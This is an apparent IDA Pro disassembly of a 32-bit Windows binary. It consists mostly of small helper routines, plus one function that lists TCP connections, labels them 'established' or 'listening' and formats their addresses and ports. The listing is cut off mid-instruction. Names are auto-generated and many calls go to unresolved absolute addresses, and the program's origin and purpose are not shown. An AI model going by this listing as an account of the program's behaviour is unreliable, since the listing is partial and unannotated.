___:00401EE2j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_449118 call sub_401771 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418990 proc near ; CODE XREF: sub_401B1Dj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021DF mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40162C mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401438 mov edx, [esi+4] mov ecx, esi push edx call sub_402103 sub_418990 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418A00 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_418A00 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418A40 proc near ; CODE XREF: sub_4021FDj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A mov edx, [esi+4] mov ecx, esi push edx call sub_40207C sub_418A40 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AB0 proc near ; CODE XREF: sub_401F69j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4015DC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D98 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_418AB0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AF0 proc near ; CODE XREF: sub_401311j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D98 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_418AF0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B20 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A pop esi add esp, 0Ch retn sub_418B20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B70 proc near ; CODE XREF: sub_4020A4j push esi mov esi, ecx call sub_401532 mov eax, esi pop esi retn sub_418B70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B90 proc near ; CODE XREF: sub_402234j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418B90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BB0 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015DC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418BB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BE0 proc near ; CODE XREF: sub_401703j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40223E neg al sbb eax, eax inc eax retn 4 sub_418BE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_401438j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jz short loc_418C6A loc_418C28: ; CODE XREF: sub_418C10+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jnz short loc_418C28 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418C10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418CA0 proc near ; CODE XREF: sub_402103j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D6B sub_418CA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_40155Aj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jz short loc_418D1A loc_418CD8: ; CODE XREF: sub_418CC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40216C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jnz short loc_418CD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418D1A: ; CODE XREF: sub_418CC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D50 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C67 sub_418D50 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418D65 mov edi, esi loc_418D65: ; CODE XREF: ___:00418D61j push esi call sub_4015DC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418D7A mov edi, esi loc_418D7A: ; CODE XREF: ___:00418D76j push esi call sub_401B31 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418DA0 proc near ; CODE XREF: sub_40207Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013FC sub_418DA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DC0 proc near ; CODE XREF: sub_4015DCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418DC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418DE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E00 proc near ; CODE XREF: sub_401532j mov eax, ecx retn sub_418E00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E20 proc near ; CODE XREF: sub_401D98j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020FE mov eax, esi pop esi retn 4 sub_418E20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E50 proc near ; CODE XREF: sub_40223Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418E50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E80 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C9E mov esi, eax push esi call sub_401A96 push esi mov ebx, eax call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [ebx] push esi mov [eax], edx call sub_401C6C push esi mov ebx, eax call sub_401A96 mov eax, [eax] push eax call sub_401C6C mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_40176C push esi mov ecx, edi call sub_402103 sub_418E80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F40 proc near ; CODE XREF: sub_401D6Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_418F40 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F60 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F28 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418F60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F90 proc near ; CODE XREF: sub_40216Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401EEC mov esi, eax push esi call sub_4015DC push esi mov ebx, eax call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [ebx] push esi mov [eax], edx call sub_401B31 push esi mov ebx, eax call sub_4015DC mov eax, [eax] push eax call sub_401B31 mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018D4 push esi mov ecx, edi call sub_40207C sub_418F90 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419050 proc near ; CODE XREF: sub_401B31j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_419050 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419070 proc near ; CODE XREF: sub_401C67j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_419070 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4190A0 proc near ; CODE XREF: sub_4013FCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4190A0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190C0 proc near ; CODE XREF: sub_4020FEj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4190C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190E0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4190E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419110 proc near ; CODE XREF: sub_40176Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419110 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419130 proc near ; CODE XREF: sub_4018D4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419130 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419150 proc near ; CODE XREF: sub_401EECj mov eax, [ecx] retn sub_419150 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4191B0 proc near ; CODE XREF: sub_402121j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4191B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43F074 call sub_437AEA sub_4191B0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41921D mov ecx, eax call sub_401F2D ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41921D: ; CODE XREF: ___:004191FFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419270 proc near ; CODE XREF: sub_401F2Dj push 0FFFFFFFFh push offset SEH_419270 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_437AEA sub_419270 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_4192BE mov ecx, eax call sub_4015C3 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_4192BE: ; CODE XREF: ___:004192A1j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419300 proc near ; CODE XREF: sub_4015C3j mov eax, ecx retn sub_419300 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419320 proc near ; CODE XREF: sub_401974j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419320 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_419320 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4193C0 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4193C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017EE mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_419766 push ebp push edi push offset asc_444600 ; " " lea eax, [esp+2B8h+var_23C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax call sub_40168B push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax call sub_401226 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+2B8h+var_274] call sub_401870 xor ebp, ebp push offset dword_444D70 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], ebp mov [esp+2B8h+var_2A0], ebp call sub_4013ED test eax, eax jz short loc_41946F mov [esp+2B4h+var_2A0], 2 jmp short loc_419489 ; --------------------------------------------------------------------------- loc_41946F: ; CODE XREF: sub_4193C0+A3j push offset dword_444D6C lea ecx, [esp+2B8h+var_274] call sub_4013ED test eax, eax jz short loc_419489 mov [esp+2B4h+var_2A0], 1 loc_419489: ; CODE XREF: sub_4193C0+ADj ; sub_4193C0+BFj mov ecx, [ebx+32h] mov edi, offset dword_444D60 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_419518 mov esi, dword_511AA8 add eax, 2 push offset dword_444D60 push eax call esi ; _stricmp add esp, 8 test eax, eax jz short loc_419518 mov ecx, [ebx+32h] push offset off_444D5C mov edx, [ecx] add edx, 2 push edx call esi ; _stricmp add esp, 8 test eax, eax jnz loc_41974C loc_419518: ; CODE XREF: sub_4193C0+123j ; sub_4193C0+13Bj push 0C00h mov [esp+2B8h+var_294], 0C00h call near ptr 77C2C407h nop add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_437F50 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419742 lea ebp, [esi+14h] loc_419554: ; CODE XREF: sub_4193C0+37Cj cmp dword ptr [ebp-10h], 2 jnz short loc_419568 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41972C loc_419568: ; CODE XREF: sub_4193C0+198j mov ax, [ebp-8] mov esi, dword_511C5C push eax call esi ; ntohs mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi ; ntohs mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_40147E mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_40147E mov eax, [ebp-10h] sub eax, 2 jz short loc_4195CC sub eax, 3 jnz short loc_4195F2 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_4195D5 ; --------------------------------------------------------------------------- loc_4195CC: ; CODE XREF: sub_4193C0+1FAj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_4195D5: ; CODE XREF: sub_4193C0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4195F2: ; CODE XREF: sub_4193C0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_419618 xor ebx, ebx loc_419618: ; CODE XREF: sub_4193C0+254j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx call near ptr 77C3FA76h nop mov edi, ebx lea eax, [esp+2C8h+var_118] and edi, 0FFFFh lea ecx, [esp+2C8h+var_224] push edi push eax push offset aSD_1 ; "%s:%d" push 8Bh push ecx call near ptr 77C3FA76h nop add esp, 28h lea ecx, [esp+2B4h+var_28C] call sub_40142E mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 1 test bx, bx jnz short loc_4196AE cmp eax, 1 jz loc_419713 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4196A1 cmp eax, esi jnz short loc_419713 loc_4196A1: ; CODE XREF: sub_4193C0+2DBj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_4196D4 ; --------------------------------------------------------------------------- loc_4196AE: ; CODE XREF: sub_4193C0+2C7j cmp eax, 2 jz short loc_419713 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_4196C2 cmp eax, edi jnz short loc_419713 loc_4196C2: ; CODE XREF: sub_4193C0+2FCj lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_4196D4: ; CODE XREF: sub_4193C0+2ECj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+2B8h+var_28C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 loc_419713: ; CODE XREF: sub_4193C0+2CCj ; sub_4193C0+2DFj ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 0 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41972C: ; CODE XREF: sub_4193C0+1A2j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_419554 loc_419742: ; CODE XREF: sub_4193C0+18Bj push esi nop call near ptr 77C2C21Bh add esp, 4 loc_41974C: ; CODE XREF: sub_4193C0+152j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_419768 ; --------------------------------------------------------------------------- loc_419766: ; CODE XREF: sub_4193C0+3Dj mov al, 1 loc_419768: ; CODE XREF: sub_4193C0+3A4j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4193C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419890 proc near ; CODE XREF: sub_40147Ej var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp call near ptr 77C3FA76h nop mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_419950 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41991E mov eax, [esp+30h] test eax, eax jz short loc_41991E push 2 lea edx, [esp+30h+arg_0] push 4 push edx nop call near ptr 71ABE479h test eax, eax jz short loc_419950 mov eax, [eax] push ebx push eax push ebp call near ptr 77C47A90h nop add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41991E: ; CODE XREF: sub_419890+5Aj ; sub_419890+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw call near ptr 71AB50C8h nop test eax, eax pop edi jnz short loc_419950 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp call near ptr 77C47A90h nop add esp, 0Ch loc_419950: ; CODE XREF: sub_419890+52j ; sub_419890+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_419890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4199A0 proc near ; CODE XREF: sub_401F0Aj nop call near ptr 2800BE7h push eax nop call near ptr 77C371BCh pop ecx retn sub_4199A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4199C0 proc near ; CODE XREF: sub_4021C6j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi nop call near ptr 77C371D3h mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43F0B0 call sub_437BDA sub_4199C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A10: ; CODE XREF: ___:00401C99j call near ptr 77C371D3h nop cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419A30: ; CODE XREF: ___:00401528j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A50 proc near ; CODE XREF: sub_401FE1j xor al, al retn 4 sub_419A50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A70 proc near ; CODE XREF: sub_40152Dj arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, 